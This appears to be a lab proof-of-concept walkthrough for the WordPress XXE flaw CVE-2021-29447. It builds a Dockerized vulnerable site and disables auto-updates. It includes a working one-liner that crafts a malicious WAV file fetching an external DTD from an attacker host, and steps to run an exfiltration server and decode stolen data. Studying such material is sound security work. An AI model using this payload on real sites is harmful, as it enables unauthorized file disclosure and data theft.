
CVE-2021-29447 is an XML External Entity (XXE) injection vulnerability affecting WordPress versions 5.6–5.7 (patched in 5.7.1) when running PHP 8.0+. The vulnerability resides in the getID3 library used for media metadata parsing.
WordPress processes WAV file iXML chunks via getID3, which invokes simplexml_load_string() with the LIBXML_NOENT flag. This flag explicitly enables external entity substitution, bypassing PHP 8's default XXE protections (deprecated libxml_disable_entity_loader()).
This PoC demonstrates the vulnerability using Dockerized WordPress 5.7 + PHP 8.0.3. Linux users can use a single-file script that also generates the WAV/DTD files.
▶️: https://youtu.be/YnGowuWHFyY
Install Docker Desktop on Windows host
Create dedicated project directory (all PowerShell commands execute here):
#powershell
mkdir cve-2021-29447-poc
cd cve-2021-29447-poc
Deploy vulnerable WordPress:
#powershell
notepad docker-compose.yml
Copy and paste the content of docker-compose.yml
Start containers:
#powershell
docker-compose up -d
Disable auto-updates (critical for vulnerability persistence):
#powershell
docker-compose exec wordpress bash
#bash
sed -i "s/WP_AUTO_UPDATE_CORE', true/WP_AUTO_UPDATE_CORE', false/g" /var/www/html/wp-config-sample.php
echo "define('AUTOMATIC_UPDATER_DISABLED', true);" >> /var/www/html/wp-config-sample.php
echo "define('WP_AUTO_UPDATE_CORE', false);" >> /var/www/html/wp-config-sample.php
tail -5 /var/www/html/wp-config-sample.php
exit
Verify vulnerable versions:
#powershell
docker-compose exec wordpress bash -c "grep wp_version /var/www/html/wp-includes/version.php && php -v"
Expected: WordPress 5.7, PHP 8.0+
WordPress Installation:
Navigate: http://localhost:8080
Admin: test / test / [email protected]
Complete setup → Access /wp-admin
Attacker IP Discovery:
#powershell
ipconfig | findstr IPv4
Note your IP (e.g. 192.168.1.196)
Create DTD payload:
#powershell
notepad evil.dtd
Copy and paste the content of evil.dtd
Generate WAV payload (Linux CLI):
#bash
echo -en 'RIFF\xb8\x00\x00\x00WAVEiXML\x7b\x00\x00\x00<?xml version="1.0"?><!DOCTYPE ANY[<!ENTITY % remote SYSTEM '"'"'http://YOUR_IP:PORT/evil.dtd'"'"'>%remote;%init;%trick;]>\x00' > payload.wav
Transfer via python3 -m http.server 8000 → Windows browser download (e.g. http://<VM_IP>:8000)
Note: WAV created separately due to binary escaping complexity in Windows environments
Deploy exploit server:
#powershell
notepad exploit.py
Copy and paste the content of exploit.py
Command:
#powershell
python exploit.py -l YOUR_IP -p PORT
Trigger XXE:
http://localhost:8080/wp-admin → Media → Add New
Upload payload.wav
Monitor Python server console -> capture exfiltrated data
Decode Base64+Zlib payload:
#powershell
$bd='PASTE_BASE64_HERE';$bytes=[Convert]::FromBase64String($bd);$decoded=[System.IO.Compression.DeflateStream]::new([System.IO.MemoryStream]::new($bytes,$false),[System.IO.Compression.CompressionMode]::Decompress);[System.IO.StreamReader]::new($decoded).ReadToEnd()
Upgrade to WordPress 5.7.1+ or disable LIBXML_NOENT in getID3 parsing.